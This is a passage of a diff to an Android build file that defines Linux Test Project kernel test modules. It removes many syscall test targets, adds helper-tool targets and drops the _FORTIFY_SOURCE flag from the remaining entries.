+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/truncate/truncate03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/truncate",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
     name: "ltp_truncate03_64",
     stem: "truncate03_64",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/truncate/truncate03.c"],
     cflags: [
-        "-D_FORTIFY_SOURCE=2",
         "-D_FILE_OFFSET_BITS=64",
         "-DTST_USE_NEWER64_SYSCALL=1",
     ],
@@ -15204,73 +22191,188 @@
 }
 
 cc_test {
-    name: "ltp_fcntl20_64",
-    stem: "fcntl20_64",
+    name: "ltp_tst_brk",
+    stem: "tst_brk",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl20.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_tc4",
-    stem: "sched_tc4",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched_tc4.c",
-        "testcases/kernel/sched/sched_stress/sched.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_pwrite01_64",
-    stem: "pwrite01_64",
+    name: "ltp_tst_brkm",
+    stem: "tst_brkm",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwrite/pwrite01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-Wno-error",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwrite",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sendfile09_64",
-    stem: "sendfile09_64",
+    name: "ltp_tst_check_drivers",
+    stem: "tst_check_drivers",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile09.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
+    srcs: ["testcases/lib/tst_check_drivers.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_checkpoint",
+    stem: "tst_checkpoint",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_checkpoint.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_checkpoint_wait_timeout",
+    stem: "tst_checkpoint_wait_timeout",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_checkpoint_wait_timeout.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_checkpoint_wake_timeout",
+    stem: "tst_checkpoint_wake_timeout",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_checkpoint_wake_timeout.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_cleanup_once",
+    stem: "tst_cleanup_once",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_cleanup_once.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_dataroot01",
+    stem: "tst_dataroot01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_dataroot01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_dataroot02",
+    stem: "tst_dataroot02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_dataroot02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_dataroot03",
+    stem: "tst_dataroot03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_dataroot03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_device",
+    stem: "tst_device",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_device.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_exit",
+    stem: "tst_exit",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_expiration_timer",
+    stem: "tst_expiration_timer",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/newlib_tests/tst_expiration_timer.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_fs_fill_hardlinks",
+    stem: "tst_fs_fill_hardlinks",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_fs_fill_hardlinks.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_fs_fill_subdirs",
+    stem: "tst_fs_fill_subdirs",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_fs_fill_subdirs.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_fs_has_free",
+    stem: "tst_fs_has_free",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_get_unused_port",
+    stem: "tst_get_unused_port",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_getconf",
+    stem: "tst_getconf",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_getconf.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_kvcmp",
+    stem: "tst_kvcmp",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/lib/tst_kvcmp.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_tst_ncpus",
+    stem: "tst_ncpus",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
@@ -15279,808 +22381,876 @@
     stem: "tst_ncpus_conf",
     defaults: ["ltp_test_defaults"],
     srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_sched_tc1",
-    stem: "sched_tc1",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc1.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_locktests",
-    stem: "locktests",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/nfsv4/locks/locktests.c",
-        "testcases/network/nfsv4/locks/netsync.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl18_64",
-    stem: "fcntl18_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl18.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pwrite02_64",
-    stem: "pwrite02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwrite/pwrite02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-Wno-error",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pwrite",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl28_64",
-    stem: "fcntl28_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl28.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_resm",
-    stem: "tst_resm",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memfd_create02",
-    stem: "memfd_create02",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/memfd_create/memfd_create_common.c",
-        "testcases/kernel/syscalls/memfd_create/memfd_create02.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl24_64",
-    stem: "fcntl24_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl24.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl30_64",
-    stem: "fcntl30_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl30.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresgid01",
-    stem: "setresgid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresgid/setresgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setresgid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-mcast_receiver",
-    stem: "ns-mcast_receiver",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-mcast_receiver.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_setresgid03",
-    stem: "setresgid03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresgid/setresgid03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setresgid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresgid02",
-    stem: "setresgid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresgid/setresgid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setresgid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setresgid04",
-    stem: "setresgid04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setresgid/setresgid04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setresgid",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile02_64",
-    stem: "sendfile02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-        "-DOFF_T=off64_t",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/sendfile",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_preadv02_64",
-    stem: "preadv02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/preadv/preadv02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/preadv",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ftruncate02_64",
-    stem: "ftruncate02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ftruncate/ftruncate02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/ftruncate",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_statfs03_64",
-    stem: "statfs03_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/statfs/statfs03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/statfs",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl25_64",
-    stem: "fcntl25_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl25.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl01_64",
-    stem: "fcntl01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
     name: "ltp_tst_ncpus_max",
     stem: "tst_ncpus_max",
     defaults: ["ltp_test_defaults"],
     srcs: ["tools/apicmds/ltpapicmd.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
+    cflags: ["-D_GNU_SOURCE"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_ns-icmp_redirector",
-    stem: "ns-icmp_redirector",
+    name: "ltp_tst_net_iface_prefix",
+    stem: "tst_net_iface_prefix",
     defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-icmp_redirector.c",
-        "testcases/network/stress/ns-tools/ns-common.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_sched_tc2",
-    stem: "sched_tc2",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/sched/sched_stress/sched.c",
-        "testcases/kernel/sched/sched_stress/sched_tc2.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/lib/tst_net_iface_prefix.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_fcntl10_64",
-    stem: "fcntl10_64",
+    name: "ltp_tst_net_ip_prefix",
+    stem: "tst_net_ip_prefix",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl10.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_swapon03",
-    stem: "swapon03",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/syscalls/swapon/swapon03.c",
-        "testcases/kernel/syscalls/swapon/libswapon.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/lib/tst_net_ip_prefix.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_pselect01_64",
-    stem: "pselect01_64",
+    name: "ltp_tst_net_vars",
+    stem: "tst_net_vars",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pselect/pselect01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pselect",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pread02_64",
-    stem: "pread02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/pread",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl21_64",
-    stem: "fcntl21_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl21.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setgroups01",
-    stem: "setgroups01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgroups/setgroups01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setgroups",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_preadv01_64",
-    stem: "preadv01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/preadv/preadv01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/preadv",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setgroups04",
-    stem: "setgroups04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setgroups/setgroups04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/setgroups",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_posix_fadvise02_64",
-    stem: "posix_fadvise02_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fadvise/posix_fadvise02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fadvise",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fstat01_64",
-    stem: "fstat01_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstat/fstat01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl22_64",
-    stem: "fcntl22_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl22.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dma_thread_diotest",
-    stem: "dma_thread_diotest",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/direct_io/diotest_routines.c",
-        "testcases/kernel/io/direct_io/dma_thread_diotest.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-        "-DSHARED_OFILE",
-    ],
+    srcs: ["testcases/lib/tst_net_vars.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_pwritev02_64",
-    stem: "pwritev02_64",
+    name: "ltp_tst_process_state",
+    stem: "tst_process_state",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pwritev/pwritev02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-        "testcases/kernel/syscalls/pwritev",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ns-udpserver",
-    stem: "ns-udpserver",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/network/stress/ns-tools/ns-common.c",
-        "testcases/network/stress/ns-tools/ns-udpserver.c",
-    ],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_fcntl04_64",
-    stem: "fcntl04_64",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/syscalls/fcntl",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_diotest3",
-    stem: "diotest3",
-    defaults: ["ltp_test_defaults"],
-    srcs: [
-        "testcases/kernel/io/direct_io/diotest3.c",
-        "testcases/kernel/io/direct_io/diotest_routines.c",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-        "-DSHARED_OFILE",
-    ],
+    srcs: ["lib/tests/tst_process_state.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_truncate02_64",
-    stem: "truncate02_64",
+    name: "ltp_tst_random",
+    stem: "tst_random",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/truncate/truncate02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-DTST_USE_NEWER64_SYSCALL=1",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/truncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
+    srcs: ["testcases/lib/tst_random.c"],
+    local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
-cc_library_static {
-    name: "libltp_kerntest",
-    defaults: ["ltp_defaults"],
-    local_include_dirs: [
-        "testcases/kernel/include",
-        "include",
-        "include/old",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DNUMA_VERSION1_COMPATIBILITY",
-    ],
-    srcs: [
-        "testcases/kernel/lib/numa_helper.c",
-    ],
+cc_test {
+    name: "ltp_tst_record_childstatus",
+    stem: "tst_record_childstatus",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["lib/tests/tst_record_childstatus.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
 }
 
-cc_library_static {
-    name: "libltp_controllers",
-    defaults: ["ltp_defaults"],
-    local_include_dirs: [
-        "include",
-        "include/old",
-    ],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    srcs: [
-        "testcases/kernel/controllers/libcontrollers/libcontrollers.c",
-    ],
+cc_test {
+    name: "ltp_tst_res",
+    stem: "tst_res",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["tools/apicmds/ltpapicmd.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
